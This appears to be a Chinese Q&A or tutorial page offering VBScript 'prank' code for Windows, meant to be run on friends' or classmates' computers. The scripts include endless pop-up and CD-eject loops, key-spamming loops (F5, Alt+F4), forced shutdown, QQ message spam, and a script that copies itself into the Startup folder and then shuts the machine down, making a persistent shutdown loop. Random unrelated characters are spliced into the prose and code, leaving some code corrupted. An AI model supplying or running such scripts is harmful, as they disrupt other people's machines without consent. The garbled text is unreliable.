vbs恶搞编程解除 win103
问题补充说明：编程打不出来等会私信
1、新手教学（大神请跳到第五步）：
编写vbs有多简单？新建“文本文档”，输入msgbox"一大波病毒正在靠近..."，点击文件->另存为->重命名为“代码.vbs”。文件名不重要，重要的是后缀要是“.vbs”。
2、双击保存的文件：代码.vbs，即弹出一个对失标话框。记下这段小小的代码，去同学家里恶搞吧。当然你还可以输入其他有趣的文字。
3、当然，如此恶搞还是不够的。那就来一个无限循环吧，输入图中代码另存为vbs格式。双击打开。此时，会弹出提示对话框，点击确定和关闭按钮之后，再一次弹出窗口，如此循环，无法正常关闭。
4、那么到已话脸利轻清极具还底要如何才能关闭呢？打开任务管理器结束进程“wscript.exe”衣沿即挥名吧顾罗程即可
5、无限弹出光驱衡济齐切婷审刘装线查：
----------------------------------意搞陈两际困旧本印--------------
setw乡向二钟农束完任体啊mp=creat验eobject("wmplay样的重他织早济谈er.ocx")
setcd=wmp.cd可光防然上量态责滑家医romcollection.item(0)
do
cd.eject
loop
------------------------------------------------
6、无尽语音报数：
无限语音从1数到无限大。
--------------------------------------------红----
Sets=CreateObject("sapi.spvoice")
i=0
d止冷下理沿o
s.speaki
i=i很阳考怎达+1
loop
------------------------------------------------
集载做迫排攻军7、无尽刷新：
慎用现照线转缩丝超科的石往，如此刷新打开任务管理器都难，例罗处只能拔掉电源。
----------------------------绝出类百民女--------------------
setws=createobject("***.shell")
do
ws.sendkeys"{f5}"
loop
------------------------------------------------
8、修改注册表：
--------新路每----------------------------------------
onerrorresumenext
setwr=createobject("scripting.filesystemobject")
setws=createobject("***.shell")
setf=wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Startup")
ifnotf="Win32.vbs"thenwr.copyfilef,q&"\Win32.vbs",true
ws.run"shutdown-p",vbhide
------------------------------------------------
9、QQ信息骚扰恶搞：
打开好友的聊天对话框，然后记下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。
------------------------------------------------
OnErrorResumeNext
Dimwsh,ye
setwsh=createobject("***.shell")
fori=1to10
wscript.sleep700
wsh.AppActivate("小敏")
wsh.sendKeys"^v"
wsh.sendKeysi
wsh.sendKeys"%s"
next
wscript.quit
------------------------------------------------
直接关机：
------------------------------------------------
dimWSHshell
setWSHshell=wscript.createobject("***.shell")
***.run"shutdown-f-s-t00",0,true
------------------------------------------------
不断按下alt+f4：
打开任何程序都关掉
------------------------------------------------
dimWSHshell
setWSHshell=wscript.createobject("***.shell")
do
wscript.sleep2500
WSHshell.SendKeys"%{F4}"
loop
------------------------------------------------
开玩笑也得有个度，凡事都不要太过。上面的代码的尺度还不算很大，大家可以玩玩。
标签：vbs,win103,恶搞
